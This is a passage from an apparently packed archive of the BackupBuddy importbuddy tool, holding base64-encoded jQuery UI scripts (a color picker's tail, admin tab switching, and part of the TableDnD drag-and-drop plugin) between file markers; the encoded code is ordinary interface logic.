VybjtkZXN0cm95KCQodGhpcykpfSk7cmV0dXJuICQodGhpcyk7ZGVmYXVsdDppZighbylvPXt9OyQodGhpcykuZWFjaChmdW5jdGlvbigpe2lmKCQodGhpcylbMF0udGFnTmFtZS50b0xvd2VyQ2FzZSgpIT09J2lucHV0JylyZXR1cm47aWYoJCh0aGlzKS5kYXRhKCd0cmlnZ2VyJykpcmV0dXJuO2NyZWF0ZSgkKHRoaXMpLG8sZGF0YSl9KTtyZXR1cm4gJCh0aGlzKX19fSl9KShqUXVlcnkpOw==
###PACKDATA,FILE_END,/pluginbuddy/js/jquery.miniColors.min.js,importbuddy/pluginbuddy/js/jquery.miniColors.min.js
###PACKDATA,FILE_START,/pluginbuddy/js/pb_tabs.js,importbuddy/pluginbuddy/js/pb_tabs.js
alF1ZXJ5KGRvY3VtZW50KS5yZWFkeShmdW5jdGlvbigpIHsKCQoJLy8gQ2hhbmdlIHRhYiBvbiBjbGljay4KCWpRdWVyeSggJy5iYWNrdXBidWRkeS10YWJzLXdyYXAgLm5hdi10YWJbaHJlZl49IiMiXScgKS5jbGljayggZnVuY3Rpb24oZSl7IC8qIGlnbm9yZXMgYW55IG5vbiBoYXNodGFnIGxpbmtzIHNpbmNlIHRoZXkgZ28gZGlyZWN0IHRvIGEgVVJMLi4uICovCgkJZS5wcmV2ZW50RGVmYXVsdCgpOwoJCQoJCS8vIEhpZGUgYWxsIHRhYiBibG9ja3MuCgkJdGhpc1RhYkJsb2NrID0galF1ZXJ5KHRoaXMpLmNsb3Nlc3QoICcuYmFja3VwYnVkZHktdGFicy13cmFwJyApOwoJCXRoaXNUYWJCbG9jay5maW5kKCAnLmJhY2t1cGJ1ZGR5LXRhYicgKS5oaWRlKCk7CgkJCgkJLy8gVXBkYXRlIHNlbGVjdGVkIHRhYi4KCQl0aGlzVGFiQmxvY2suZmluZCggJy5uYXYtdGFiLWFjdGl2ZScgKS5yZW1vdmVDbGFzcyggJ25hdi10YWItYWN0aXZlJyApOwoJCWpRdWVyeSh0aGlzKS5hZGRDbGFzcyggJ25hdi10YWItYWN0aXZlJyApOwoJCQoJCS8vIFNob3cgdGhlIGNvcnJlY3QgdGFiIGJsb2NrLgoJCS8vdGFyZ2V0RGl2SUQgPSBqUXVlcnkodGhpcykuYXR0ciggJ2hyZWYnICkuc3Vic3RyaW5nKDEpOwoJCXRoaXNUYWJCbG9jay5maW5kKCBqUXVlcnkodGhpcykuYXR0ciggJ2hyZWYnICkgKS5zaG93KCk7Cgl9KTsKCQoJLy8gQ2hhbmdlIHRhYiBvbiBjbGljayAtLSBBSkFYIHZlcnNpb24uCglqUXVlcnkoICcuYmFja3VwYnVkZHktdGFicy13cmFwIC5uYXYtdGFiW2hyZWZePSJqYXZhc2NyaXB0Il0nICkuY2xpY2soIGZ1bmN0aW9uKGUpeyAvKiBpZ25vcmVzIGFueSBub24gaGFzaHRhZyBsaW5rcyBzaW5jZSB0aGV5IGdvIGRpcmVjdCB0byBhIFVSTC4uLiAqLwoJCS8vIEhpZGUgYWxsIHRhYiBibG9ja3MuCgkJdGhpc1RhYkJsb2NrID0galF1ZXJ5KHRoaXMpLmNsb3Nlc3QoICcuYmFja3VwYnVkZHktdGFicy13cmFwJyApOwoJCXRoaXNUYWJCbG9jay5maW5kKCAnLmJhY2t1cGJ1ZGR5LXRhYicgKS5oaWRlKCk7CgkJCgkJLy8gVXBkYXRlIHNlbGVjdGVkIHRhYi4KCQl0aGlzVGFiQmxvY2suZmluZCggJy5uYXYtdGFiLWFjdGl2ZScgKS5yZW1vdmVDbGFzcyggJ25hdi10YWItYWN0aXZlJyApOwoJCWpRdWVyeSh0aGlzKS5hZGRDbGFzcyggJ25hdi10YWItYWN0aXZlJyApOwoJCQoJCS8vIFNob3cgdGhlIGNvcnJlY3QgdGFiIGJsb2NrLgoJCS8vdGFyZ2V0RGl2SUQgPSBqUXVlcnkodGhpcykuYXR0ciggJ2hyZWYnICkuc3Vic3RyaW5nKDEpOwoJCXRoaXNUYWJCbG9jay5maW5kKCBqUXVlcnkodGhpcykuYXR0ciggJ2RhdGEtYWpheCcgKSApLnNob3coKTsKCX0pOwoJCgkvLyBBdXRvLWRpc3BsYXkgdGhlIGNvcnJlY3QgdGFiIG9uIGxvYWQgaWYgc3BlY2lmeWluZyBhIG5vbi1kZWZhdWx0LgoJalF1ZXJ5KCAnLm5hdi10YWItYWN0aXZlJyApLmVhY2goIGZ1bmN0aW9uKCl7CgkJalF1ZXJ5KHRoaXMpLmNsaWNrKCk7Cgl9KTsKfSk7
###PACKDATA,FILE_END,/pluginbuddy/js/pb_tabs.js,importbuddy/pluginbuddy/js/pb_tabs.js
###PACKDATA,FILE_START,/pluginbuddy/js/tablednd.js,importbuddy/pluginbuddy/js/tablednd.js
LyoqCiAqIFRhYmxlRG5EIHBsdWctaW4gZm9yIEpRdWVyeSwgYWxsb3dzIHlvdSB0byBkcmFnIGFuZCBkcm9wIHRhYmxlIHJvd3MKICogWW91IGNhbiBzZXQgdXAgdmFyaW91cyBvcHRpb25zIHRvIGNvbnRyb2wgaG93IHRoZSBzeXN0ZW0gd2lsbCB3b3JrCiAqIENvcHlyaWdodCAoYykgRGVuaXMgSG93bGV0dCA8ZGVuaXNoQGlzb2NyYS5jb20+CiAqIExpY2Vuc2VkIGxpa2UgalF1ZXJ5LCBzZWUgaHR0cDovL2RvY3MuanF1ZXJ5LmNvbS9MaWNlbnNlLgogKi8KalF1ZXJ5LnRhYmxlRG5EID0gewogICAgLyoqIEtlZXAgaG9sZCBvZiB0aGUgY3VycmVudCB0YWJsZSBiZWluZyBkcmFnZ2VkICovCiAgICBjdXJyZW50VGFibGUgOiBudWxsLAogICAgLyoqIEtlZXAgaG9sZCBvZiB0aGUgY3VycmVudCBkcmFnIG9iamVjdCBpZiBhbnkgKi8KICAgIGRyYWdPYmplY3Q6IG51bGwsCiAgICAvKiogVGhlIGN1cnJlbnQgbW91c2Ugb2Zmc2V0ICovCiAgICBtb3VzZU9mZnNldDogbnVsbCwKICAgIC8qKiBSZW1lbWJlciB0aGUgb2xkIHZhbHVlIG9mIFkgc28gdGhhdCB3ZSBkb24ndCBkbyB0b28gbXVjaCBwcm9jZXNzaW5nICovCiAgICBvbGRZOiAwLAoKICAgIC8qKiBBY3R1YWxseSBidWlsZCB0aGUgc3RydWN0dXJlICovCiAgICBidWlsZDogZnVuY3Rpb24ob3B0aW9ucykgewogICAgICAgIC8vIFNldCB1cCB0aGUgZGVmYXVsdHMgaWYgYW55CgogICAgICAgIHRoaXMuZWFjaChmdW5jdGlvbigpIHsKICAgICAgICAgICAgLy8gVGhpcyBpcyBib3VuZCB0byBlYWNoIG1hdGNoaW5nIHRhYmxlLCBzZXQgdXAgdGhlIGRlZmF1bHRzIGFuZCBvdmVycmlkZSB3aXRoIHVzZXIgb3B0aW9ucwogICAgICAgICAgICB0aGlzLnRhYmxlRG5EQ29uZmlnID0galF1ZXJ5LmV4dGVuZCh7CiAgICAgICAgICAgICAgICBvbkRyYWdTdHlsZTogbnVsbCwKICAgICAgICAgICAgICAgIG9uRHJvcFN0eWxlOiBudWxsLAoJCQkJLy8gQWRkIGluIHRoZSBkZWZhdWx0IGNsYXNzIGZvciB3aGlsZURyYWdnaW5nCgkJCQlvbkRyYWdDbGFzczogInREbkRfd2hpbGVEcmFnIiwKICAgICAgICAgICAgICAgIG9uRHJvcDogbnVsbCwKICAgICAgICAgICAgICAgIG9uRHJhZ1N0YXJ0OiBudWxsLAogICAgICAgICAgICAgICAgc2Nyb2xsQW1vdW50OiA1LAoJCQkJc2VyaWFsaXplUmVnZXhwOiAvW15cLV0qJC8sIC8vIFRoZSByZWd1bGFyIGV4cHJlc3Npb24gdG8gdXNlIHRvIHRyaW0gcm93IElEcwoJCQkJc2VyaWFsaXplUGFyYW1OYW1lOiBudWxsLCAvLyBJZiB5b3Ugd2FudCB0byBzcGVjaWZ5IGFub3RoZXIgcGFyYW1ldGVyIG5hbWUgaW5zdGVhZCBvZiB0aGUgdGFibGUgSUQKICAgICAgICAgICAgICAgIGRyYWdIYW5kbGU6IG51bGwgLy8gSWYgeW91IGdpdmUgdGhlIG5hbWUgb2YgYSBjbGFzcyBoZXJlLCB0aGVuIG9ubHkgQ2VsbHMgd2l0aCB0aGlzIGNsYXNzIHdpbGwgYmUgZHJhZ2dhYmxlCiAgICAgICAgICAgIH0sIG9wdGlvbnMgfHwge30pOwogICAgICAgICAgICAvLyBOb3cgbWFrZSB0aGUgcm93cyBkcmFnZ2FibGUKICAgICAgICAgICAgalF1ZXJ5LnRhYmxlRG5ELm1ha2VEcmFnZ2FibGUodGhpcyk7CiAgICAgICAgfSk7CgogICAgICAgIC8vIE5vdyB3ZSBuZWVkIHRvIGNhcHR1cmUgdGhlIG1vdXNlIHVwIGFuZCBtb3VzZSBtb3ZlIGV2ZW50CiAgICAgICAgLy8gV2UgY2FuIHVzZSBiaW5kIHNvIHRoYXQgd2UgZG9uJ3QgaW50ZXJmZXJlIHdpdGggb3RoZXIgZXZlbnQgaGFuZGxlcnMKICAgICAgICBqUXVlcnkoZG9jdW1lbnQpCiAgICAgICAgICAgIC5iaW5kKCdtb3VzZW1vdmUnLCBqUXVlcnkudGFibGVEbkQubW91c2Vtb3ZlKQogICAgICAgICAgICAuYmluZCgnbW91c2V1cCcsIGpRdWVyeS50YWJsZURuRC5tb3VzZXVwKTsKCiAgICAgICAgLy8gRG9uJ3QgYnJlYWsgdGhlIGNoYWluCiAgICAgICAgcmV0dXJuIHRoaXM7CiAgICB9LAoKICAgIC8qKiBUaGlzIGZ1bmN0aW9uIG1ha2VzIGFsbCB0aGUgcm93cyBvbiB0aGUgdGFibGUgZHJhZ2dhYmxlIGFwYXJ0IGZyb20gdGhvc2UgbWFya2VkIGFzICJOb0RyYWciICovCiAgICBtYWtlRHJhZ2dhYmxlOiBmdW5jdGlvbih0YWJsZSkgewogICAgICAgIHZhciBjb25maWcgPSB0YWJsZS50YWJsZURuRENvbmZpZzsKCQlpZiAodGFibGUudGFibGVEbkRDb25maWcuZHJhZ0hhbmRsZSkgewoJCQkvLyBXZSBvbmx5IG5lZWQgdG8gYWRkIHRoZSBldmVudCB0byB0aGUgc3BlY2lmaWVkIGNlbGxzCgkJCXZhciBjZWxscyA9IGpRdWVyeSgidGQuIit0YWJsZS50YWJsZURuRENvbmZpZy5kcmFnSGFuZGxlLCB0YWJsZSk7CgkJCWNlbGxzLmVhY2goZnVuY3Rpb24oKSB7CgkJCQkvLyBUaGUgY2VsbCBpcyBib3VuZCB0byAidGhpcyIKICAgICAgICAgICAgICAgIGpRdWVyeSh0aGlzKS5tb3VzZWRvd24oZnVuY3Rpb24oZXYpIHsKICAgICAgICAgICAgICAgICAgICBqUXVlcnkudGFibGVEbkQuZHJhZ09iamVjdCA9IHRoaXMucGFyZW50Tm9kZTsKICAgICAgICAgICAgICAgICAgICBqUXVlcnkudGFibGVEbkQuY3VycmVudFRhYmxlID0gdGFibGU7CiAgICAgICAgICAgICAgICAgICAgalF1ZXJ5LnRhYmxlRG5ELm1vdXNlT2Zmc2V0ID0galF1ZXJ5LnRhYmxlRG5ELmdldE1vdXNlT2Zmc2V0KHRoaXMsIGV2KTsKICAgICAgICAgICAgICAgICAgICBpZiAoY29uZmlnLm9uRHJhZ1N0YXJ0KSB7CiAgICAgICAgICAgICAgICAgICAgICAgIC8vIENhbGwgdGhlIG9uRHJvcCBtZXRob2QgaWYgdGhlcmUgaXMgb25lCiAgICAgICAgICAgICAgICAgICAgICAgIGNvbmZpZy5vbkRyYWdTdGFydCh0YWJsZSwgdGhpcyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH0pOwoJCQl9KQoJCX0gZWxzZSB7CgkJCS8vIEZvciBiYWNrd2FyZHMgY29tcGF0aWJpbGl0eSwgd2UgYWRkIHRoZSBldmVudCB0byB0aGUgd2hvbGUgcm93CgkgICAgICAgIHZhciByb3dzID0galF1ZXJ5KCJ0ciIsIHRhYmxlKTsgLy8gZ2V0IGFsbCB0aGUgcm93cyBhcyBhIHdyYXBwZWQgc2V0CgkgICAgICAgIHJvd3MuZWFjaChmdW5jdGlvbigpIHsKCQkJCS8vIEl0ZXJhdGUgdGhyb3VnaCBlYWNoIHJvdywgdGhlIHJvdyBpcyBib3VuZCB0byAidGhpcyIKCQkJCXZhciByb3cgPSBqUXVlcnkodGhpcyk7CgkJCQlpZiAoISByb3cuaGFzQ2xhc3MoIm5vZHJhZyIpKSB7CgkgICAgICAgICAgICAgICAgcm93Lm1vdXNlZG93bihmdW5jdGlvbihldikgewoJICAgICAgICAgICAgICAgICAgICBpZiAoZXYudGFyZ2V0LnRhZ05hbWUgPT0gIlREIikgewoJICAgICAgICAgICAgICAgICAgICAgICAgalF1ZXJ5LnRhYmxlRG5ELmRyYWdPYmplY3QgPSB0aGlzOwoJICAgICAgICAgICAgICAgICAgICAgICAgalF1ZXJ5LnRhYmxlRG5ELmN1cnJlbnRUYWJsZSA9IHRhYmxlOwoJICAgICAgICAgICAgICAgICAgICAgICAgalF1ZXJ5LnRhYmxlRG5ELm1vdXNlT2Zmc2V0ID0galF1ZXJ5LnRhYmxlRG5ELmdldE1vdXNlT2Zmc2V0KHRoaXMsIGV2KTsKCSAgICAgICAgICAgICAgICAgICAgICAgIGlmIChjb25maWcub25EcmFnU3RhcnQpIHsKCSAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBDYWxsIHRoZSBvbkRyb3AgbWV0aG9kIGlmIHRoZXJlIGlzIG9uZQoJICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbmZpZy5vbkRyYWdTdGFydCh0YWJsZSwgdGhpcyk7CgkgICAgICAgICAgICAgICAgICAgICAgICB9CgkgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7CgkgICAgICAgICAgICAgICAgICAgIH0KCSAgICAgICAgICAgICAgICB9KS5jc3MoImN1cnNvciIsICJtb3ZlIik7IC8vIFN0b3JlIHRoZSB0YWJsZURuRCBvYmplY3QKCQkJCX0KCQkJfSk7CgkJfQoJfSwKCgl1cGRhdGVUYWJsZXM6IGZ1bmN0aW9uKCkgewoJCXRoaXMuZWFjaChmdW5jdGlvbigpIHsKCQkJLy8gdGhpcyBpcyBub3cgYm91bmQgdG8gZWFjaCBtYXRjaGluZyB0YWJsZQoJCQlpZiAodGhpcy50YWJsZURuRENvbmZpZykgewoJCQkJalF1ZXJ5LnRhYmxlRG5ELm1ha2VEcmFnZ2FibGUodGhpcyk7CgkJCX0KCQl9KQoJfSwKCiAgICAvKiogR2V0IHRoZSBtb3VzZSBjb29yZGluYXRlcyBmcm9tIHRoZSBldmVudCAoYWxsb3dpbmcgZm9yIGJyb3dzZXIgZGlmZmVyZW5jZXMpICovCiAgICBtb3VzZUNvb3JkczogZnVuY3Rpb24oZXYpewogICAgICAgIGlmKGV2LnBhZ2VYIHx8IGV2LnBhZ2VZKXsKICAgICAgICAgICAgcmV0dXJuIHt4OmV2LnBhZ2VYLCB5OmV2LnBhZ2VZfTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHsKICAgICAgICAgICAgeDpldi5jbGllbnRYICsgZG9jdW1lbnQuYm9keS5zY3JvbGxMZWZ0IC0gZG9jdW1lbnQuYm9keS5jbGllbnRMZWZ0LAogICAgICAgICAgICB5OmV2LmNsaWVudFkgKyBkb2N1bWVudC5ib2R5LnNjcm9sbFRvcCAgLSBkb2N1bWVudC5ib2R5LmNsaWVudFRvcAogICAgICAgIH07CiAgICB9LAoKICAgIC8qKiBHaXZlbiBhIHRhcmdldCBlbGVtZW50IGFuZCBhIG1vdXNlIGV2ZW50LCBnZXQgdGhlIG1vdXNlIG9mZnNldCBmcm9tIHRoYXQgZWxlbWVudC4KICAgICAgICBUbyBkbyB0aGlzIHdlIG5lZWQgdGhlIGVsZW1lbnQncyBwb3NpdGlvbiBhbmQgdGhlIG1vdXNlIHBvc2l0aW9uICovCiAgICBnZXRNb3VzZU9mZnNldDogZnVuY3Rpb24odGFyZ2V0LCBldikgewogICAgICAgIGV2ID0gZXYgfHwgd2luZG93LmV2ZW50OwoKICAgICAgICB2YXIgZG9jUG9zICAgID0gdGhpcy5nZXRQb3NpdGlvbih0YXJnZXQpOwogICAgICAgIHZhciBtb3VzZVBvcyAgPSB0aGlzLm1vdXNlQ29vcmRzKGV2KTsKICAgICAgICByZXR1cm4ge3g6bW91c2VQb3MueCAtIGRvY1Bvcy54LCB5Om1vdXNlUG9zLnkgLSBkb2NQb3MueX07CiAgICB9LAoKICAgIC8qKiBHZXQgdGhlIHBvc2l0aW9uIG9mIGFuIGVsZW1lbnQgYnkgZ29pbmcgdXAgdGhlIERPTSB0cmVlIGFuZCBhZGRpbmcgdXAgYWxsIHRoZSBvZmZzZXRzICovCiAgICBnZXRQb3NpdGlvbjogZnVuY3Rpb24oZSl7CiAgICAgICAgdmFyIGxlZnQgPSAwOwogICAgICAgIHZhciB0b3AgID0gMDsKICAgICAgICAvKiogU2FmYXJpIGZpeCAtLSB0aGFua3MgdG8gTHVpcyBDaGF0byBmb3IgdGhpcyEgKi8KICAgICAgICBpZiAoZS5vZmZzZXRIZWlnaHQgPT0gMCkgewogICAgICAgICAgICAvKiogU2FmYXJpIDIgZG9lc24ndCBjb3JyZWN0bHkgZ3JhYiB0aGUgb2Zmc2V0VG9wIG9mIGEgdGFibGUgcm93CiAgICAgICAgICAgIHRoaXMgaXMgZGV0YWlsZWQgaGVyZToKICAgICAgICAgICAgaHR0cDovL2phY29iLnBlYXJncm92ZS5jb20vYmxvZy8yMDA2L3RlY2huaWNhbC90YWJsZS1yb3ctb2Zmc2V0dG9wLWJ1Zy1pbi1zYWZhcmkvCiAgICAgICAgICAgIHRoZSBzb2x1dGlvbiBpcyBsaWtld2lzZSBub3RlZCB0aGVyZSwgZ3JhYiB0aGUgb2Zmc2V0IG9mIGEgdGFibGUgY2VsbCBpbiB0aGUgcm93IC0gdGhlIGZpcnN0Q2hpbGQuCiAgICAgICAgICAgIG5vdGUgdGhhdCBmaXJlZm94IHdpbGwgcmV0dXJuIGEgdGV4dCBub2RlIGFzIGEgZmlyc3QgY2hpbGQsIHNvIGRlc2lnbmluZyBhIG1vcmUgdGhvcm91Z2gKICAgICAgICAgICAgc29sdXRpb24gbWF5IG5lZWQgdG8gdGFrZSB0aGF0IGludG8gYWNjb3VudCwgZm9yIG5vdyB0aGlzIHNlZW1zIHRvIHdvcmsgaW4gZmlyZWZveCwgc2FmYXJpLCBpZSAqLwogICAgICAgICAgICBlID0gZS5maXJzdENoaWxkOyAvLyBhIHRhYmxlIGNlbGwKICAgICAgICB9CgogICAgICAgIHdoaWxlIChlLm9mZnNldFBhcmVudCl7CiAgICAgICAgICAgIGxlZnQgKz0gZS5vZmZzZXRMZWZ0OwogICAgICAgICAgICB0b3AgICs9IGUub2Zmc2V0VG9wOwogICAgICAgICAgICBlICAgICA9IGUub2Zmc2V0UGFyZW50OwogICAgICAgIH0KCiAgICAgICAgbGVmdCArPSBlLm9mZnNldExlZnQ7CiAgICAgICAgdG9wICArPSBlLm9mZnNldFRvcDsKCiAgICAgICAgcmV0dXJuIHt4OmxlZnQsIHk6dG9wfTsKICAgIH0sCgogICAgbW91c2Vtb3ZlOiBmdW5jdGlvbihldikgewogICAgICAgIGlmIChqUXVlcnkudGFibGVEbkQuZHJhZ09iamVjdCA9PSBudWxsKSB7CiAgICAgICAgICAgIHJldHVybjsKICAgICAgICB9CgogICAgICAgIHZhciBkcmFnT2JqID0galF1ZXJ5KGpRdWVyeS50YWJsZURuRC5kcmFnT2JqZWN0KTsKICAgICAgICB2YXIgY29uZmlnID0galF1ZXJ5LnRhYmxlRG5ELmN1cnJlbnRUYWJsZS50YWJsZURuRENvbmZpZzsKICAgICAgICB2YXIgbW91c2VQb3MgPSBqUXVlcnkudGFibGVEbkQubW91c2VDb29yZHMoZXYpOwogICAgICAgIHZhciB5ID0gbW91c2VQb3MueSAtIGpRdWVyeS50YWJsZURuRC5tb3VzZU9mZnNldC55OwogICAgICAgIC8vYXV0byBzY3JvbGwgdGhlIHdpbmRvdwoJICAgIHZhciB5T2Zmc2V0ID0gd2luZG93LnBhZ2VZT2Zmc2V0OwoJIAlpZiAoZG9jdW1lbnQuYWxsKSB7CgkgICAgICAgIC8vIFdpbmRvd3MgdmVyc2lvbgoJICAgICAgICAvL3lPZmZzZXQ9ZG9jdW1lbnQuYm9keS5zY3JvbGxUb3A7CgkgICAgICAgIGlmICh0eXBlb2YgZG9jdW1lbnQuY29tcGF0TW9kZSAhPSAndW5kZWZpbmVkJyAmJgoJICAgICAgICAgICAgIGRvY3VtZW50LmNvbXBhdE1vZGUgIT0gJ0JhY2tDb21wYXQnKSB7CgkgICAgICAgICAgIHlPZmZzZXQgPSBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuc2Nyb2xsVG9wOwoJICAgICAgICB9CgkgICAgICAgIGVsc2UgaWYgKHR5cGVvZiBkb2N1bWVudC5ib2R5ICE9ICd1bmRlZmluZWQnKSB7CgkgICAgICAgICAgIHlPZmZzZXQ9ZG9jdW1lbnQuYm9keS5zY3JvbGxUb3A7CgkgICAgICAgIH0KCgkgICAgfQoJCSAgICAKCQlpZiAobW91c2VQb3MueS15T2Zmc2V0IDwgY29uZmlnLnNjcm9sbEFtb3VudCkgewoJICAgIAl3aW5kb3cuc2Nyb2xsQnkoMCwgLWNvbmZpZy5zY3JvbGxBbW91bnQpOwoJICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHZhciB3aW5kb3dIZWlnaHQgPSB3aW5kb3cuaW5uZXJIZWlnaHQgPyB3aW5kb3cuaW5uZXJIZWlnaHQKICAgICAgICAgICAgICAgICAgICA6IGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRIZWlnaHQgPyBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuY2xpZW50SGVpZ2h0IDogZG9jdW1lbnQuYm9keS5jbGllbnRIZWlnaHQ7CiAgICAgICAgICAgIGlmICh3aW5kb3dIZWlnaHQtKG1vdXNlUG9zLnkteU9mZnNldCkgPCBjb25maWcuc2Nyb2xsQW1vdW50KSB7CiAgICAgICAgICAgICAgICB3aW5kb3cuc2Nyb2xsQnkoMCwgY29uZmlnLnNjcm9sbEFtb3VudCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgoKICAgICAgICBpZiAoeSAhPSBqUXVlcnkudGFibGVEbkQub2xkWSkgewogICAgICAgICAgICAvLyB3b3JrIG91dCBpZiB3ZSdyZSBnb2luZyB1cCBvciBkb3duLi4uCiAgICAgICAgICAgIHZhciBtb3ZpbmdEb3duID0geSA+IGpRdWVyeS50YWJsZURuRC5vbGRZOwogICAgICAgICAgICAvLyB1cGRhdGUgdGhlIG9sZCB2YWx1ZQogICAgICAgICAgICBqUXVlcnkudGFibGVEbkQub2xkWSA9IHk7CiAgICAgICAgICAgIC8vIHVwZGF0ZSB0aGUgc3R5bGUgdG8gc2hvdyB3ZSdyZSBkcmFnZ2luZwoJCQlpZiAoY29uZmlnLm9uRHJhZ0NsYXNzKSB7CgkJCQlkcmFnT2JqLmFkZENsYXNzKGNvbmZpZy5vbkRyYWdDbGFzcyk7CgkJCX0gZWxzZSB7CgkgICAgICAgICAgICBkcmFnT2JqLmNzcyhjb25maWcub25EcmFnU3R5bGUpOwoJCQl9CiAgICAgICAgICAgIC8vIElmIHdlJ3JlIG92ZXIgYSByb3cgdGhlbiBtb3ZlIHRoZSBkcmFnZ2VkIHJvdyB0byB0aGVyZSBzbyB0aGF0IHRoZSB1c2VyIHNlZXMgdGhlCiAgICAgICAgICAgIC8vIGVmZmVjdCBkeW5hbWljYWxseQogICAgICAgICAgICB2YXIgY3VycmVudFJvdyA9IGpRdWVyeS50YWJsZURuRC5maW5kRHJvcFRhcmdldFJvdyhkcmFnT2JqLCB5KTsKICAgICAgICAgICAgaWYgKGN1cnJlbnRSb3cpIHsKICAgICAgICAgICAgICAgIC8vIFRPRE8gd29ycnkgYWJvdXQgd2hhdCBoYXBwZW5zIHdoZW4gdGhlcmUgYXJlIG11bHRpcGxlIFRCT0RJRVMKICAgICAgICAgICAgICAgIGlmIChtb3ZpbmdEb3duICYmIGpRdWVyeS50YWJsZURuRC5kcmFnT2JqZWN0ICE9IGN1cnJlbnRSb3cpIHsKICAgICAgICAgICAgICAgICAgICBqUXVlcnkudGFibGVEbkQuZHJhZ09iamVjdC5wYXJlbnROb2RlLmluc2VydEJlZm9yZShqUXVlcnkudGFibGVEbkQuZHJhZ09iamVjdCwgY3VycmVudFJvdy5uZXh0U2libGluZyk7CiAgICAgICAgICAgICAgICB9IGVsc2UgaWYgKCEgbW92aW5nRG93biAmJiBqUXVlcnkudGFibGVEbkQuZHJhZ09iamVjdCAhPSBjdXJyZW50Um93KSB7CiAgICAgICAgICAgICAgICAgICAgalF1ZXJ5LnRhYmxlRG5ELmRyYWdPYmplY3QucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUoalF1ZXJ5LnRhYmxlRG5ELmRyYWdPYmplY3QsIGN1cnJlbnRSb3cpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9LAoKICAgIC8qKiBXZSdyZSBvbmx5IHdvcnJpZWQgYWJvdXQgdGhlIHkgcG9zaXRpb24gcmVhbGx5LCBiZWNhdXNlIHdlIGNhbiBvbmx5IG1vdmUgcm93cyB1cCBhbmQgZG93biAqLwogICAgZmluZERyb3BUYXJnZXRSb3c6IGZ1bmN0aW9uKGRyYWdnZWRSb3csIHkpIHsKICAgICAgICB2YXIgcm93cyA9IGpRdWVyeS50YWJsZURuRC5jdXJyZW50VGFibGUucm93czsKICAgICAgICBmb3IgKHZhciBpPTA7IGk8cm93cy5sZW5ndGg7IGkrKykgewogICAgICAgICAgICB2YXIgcm93ID0gcm93c1tpXTsKICAgICAgICAgICAgdmFyIHJvd1kgICAgPSB0aGlzLmdldFBvc2l0aW9uKHJvdykueTsKICAgICAgICAgICAgdmFyIHJvd0hlaWdodCA9IHBhcnNlSW50KHJvdy5vZmZzZXRIZWlnaHQpLzI7CiAgICAgICAgICAgIGlmIChyb3cub2Zmc2V0SGVpZ2h0ID09IDApIHsKICAgICAgICAgICAgICAgIHJvd1kgPSB0aGlzLmdldFBvc2l0aW9uKHJvdy5maXJzdENoaWxkKS55OwogICAgICAgICAgICAgICAgcm93SGVpZ2h0ID0gcGFyc2VJbnQocm93LmZpcnN0Q2hpbGQub2Zmc2V0SGVpZ2h0KS8yOwogICAgICAgICAgICB9CiAgICAgICAgICAgIC8vIEJlY2F1c2Ugd2UgYWx3YXlzIGhhdmUgdG8gaW5zZXJ0IGJlZm9yZSwgd2UgbmVlZCB0byBvZmZzZXQgdGhlIGhlaWdodCBhIGJpdAogICAgICAgICAgICBpZiAoKHkgPiByb3dZIC0gcm93SGVpZ2h0KSAmJiAoeSA8IChyb3dZICsgcm93SGVpZ2h0KSkpIHsKICAgICAgICAgICAgICAgIC8vIHRoYXQncyB0aGUgcm93IHdlJ3JlIG92ZXIKCQkJCS8vIElmIGl0J3MgdGhlIHNhbWUgYXMgdGhlIGN1cnJlbnQgcm93LCBpZ25vcmUgaXQKCQkJCWlmIChyb3cgPT0gZHJhZ2dlZFJvdykge3JldHVybiBudWxsO30KICAgICAgICAgICAgICAgIHZhciBjb25maWcgPSBqUXVlcnkudGFibGVEbkQuY3VycmVudFRhYmxlLnRhYmxlRG5EQ29uZmlnOwogICAgICAgICAgICAgICAgaWYgKGNvbmZpZy5vbkFsbG93RHJvcCkgewogICAgICAgICAgICAgICAgICAgIGlmIChjb25maWcub25BbGxvd0Ryb3AoZHJhZ2dlZFJvdywgcm93KSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gcm93OwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CgkJCQkJLy8gSWYgYSByb3cgaGFzIG5vZHJvcCBjbGFzcywgdGhlbiBkb24ndCBhbGxvdyBkcm9wcGluZyAoaW5zcGlyZWQgYnkgSm9obiBUYXJyIGFuZCBGYW1pYykKICAgICAgICAgICAgICAgICAgICB2YXIgbm9kcm9wID0galF1ZXJ5KHJvdykuaGFzQ2xhc3MoIm5vZHJvcCIpOwogICAgICAgICAgICAgICAgICAgIGlmICghIG5vZHJvcCkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gcm93OwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBudWxsOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIHJldHVybiByb3c7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgcmV0dXJuIG51bGw7CiAgICB9LAoKICAgIG1vdXNldXA6IGZ1bmN0aW9uKGUpIHsKICAgICAgICBpZiAoalF1ZXJ5LnRhYmxlRG5ELmN1cnJlbnRUYWJsZSAmJiBqUXVlcnkudGFibGVEbkQuZHJhZ09iamVjdCkgewogICAgICAgICAgICB2YXIgZHJvcHBlZFJvdyA9IGpRdWVyeS50YWJsZURuRC5kcmFnT2JqZWN0OwogICAgICAgICAgICB2YXIgY29uZmlnID0galF1ZXJ5LnRhYmxlRG5ELmN1cnJlbnRUYWJsZS50YWJsZURuRENvbmZpZzsKICAgICAg